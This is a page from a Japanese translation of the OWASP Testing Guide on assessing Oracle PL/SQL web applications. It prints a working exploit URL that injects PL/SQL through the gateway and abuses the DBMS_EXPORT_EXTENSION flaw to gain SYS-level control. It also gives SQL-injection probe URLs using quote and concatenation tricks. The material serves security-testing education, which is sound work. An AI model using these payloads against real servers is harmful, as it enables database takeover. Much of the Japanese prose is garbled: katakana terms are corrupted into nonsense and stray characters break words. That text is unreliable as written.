OWASP テスティングガイド

http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--
=select%201%20from%20dual
注 意 すべきことは、 出 力 は 表 示 されないということです。これは、SYS が 持 つあらゆる PL/SQL イヱザェキサュヱを 攻 略 すること
に 利 用 でき、ひいては、 攻 撃 者 にバッキウヱドのデーソプーシコーバを 完媍 全 に 制 御 することを 可 能 にします。 例 えば、 以 下
の URL では DBMS_EXPORT_EXTENSION の SQL イヱザェキサュヱの 不 具 合 を 利 用 しています( 参 照 8
http://secunia.com/advisories/19860)
http://www.example.com/pls/dad/orasso.home?);
execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1);
EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL'';
END;--','SYS',1,'VER',0);END;
カスタマ PL/SQL ウェブアプリクーシュンヱの 評 価
ブョッキペッキシのスカャヨティ 評 価 において、ォシソマ PL/SQL アプヨクーサュヱのケードは 利 用 できません。しかし、 脆 弱 性
の 評 価 は 必 要 です。
SQL アンヱジェクシュンヱのテステ
すべての 入 力 パョミーソは SQL イヱザェキサュヱのテシトが 行 わわれるべきです。これらは 簡 単 に 見 つけ、 確 認 することができ
ます。それらを 発 見 するにはサヱギラキエートをパョミーソに 埋 め 込 みウョー 応 答 (404 Not Found を 含 む'を 確 認 します。
SQL イヱザェキサュヱの 存 在 を 確 認 するには、 文 字 列 連連 結 の 演 算 子婡 を 使 って 行 うことができます。 例 えば、 本 屋 の PL/SQL ウ
ェブアプヨクーサュヱで、ヤーゴが 著 者 で 本 を 検 索 できると 仮 定 します8
http://www.example.com/pls/bookstore/books.search?author=DICKENS
もし、 上 記 ヨキウシトで Charles Dickens の 本 を 返 し、
http://www.example.com/pls/bookstore/books.search?author=DICK'ENS
上 記 ヨキウシトでは、404 ウョーを 返 すのであれば、SQL イヱザェキサュヱの 脆 弱 性 があるかも 知 れません。これは、 文 字 列 連連
結 の 演 算 子婡 を 使 って 確 認 できます8
http://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS
ここで 再 度 Charles Dickens の 本 が 返 ってきたら、SQL イヱザェキサュヱの 存 在 を 確 認 できました。
関 連 資 料
ホワロアテペーパー
Hackproofing Oracle Application Server - http://www.ngssoftware.com/papers/hpoas.pdf
Oracle PL/SQL Injection - http://www.databasesecurity.com/oracle/oracle-plsql-2.pdf
ヂール
SQLInjector - http://www.databasesecurity.com/sql-injector.htm
Orascan (Oracle Web Application VA scanner) - http://www.ngssoftware.com/products/internet-security/orascan.php
NGSSQuirreL (Oracle RDBMS VA Scanner) - http://www.ngssoftware.com/products/database-security/ngs-squirrel-oracle.php
230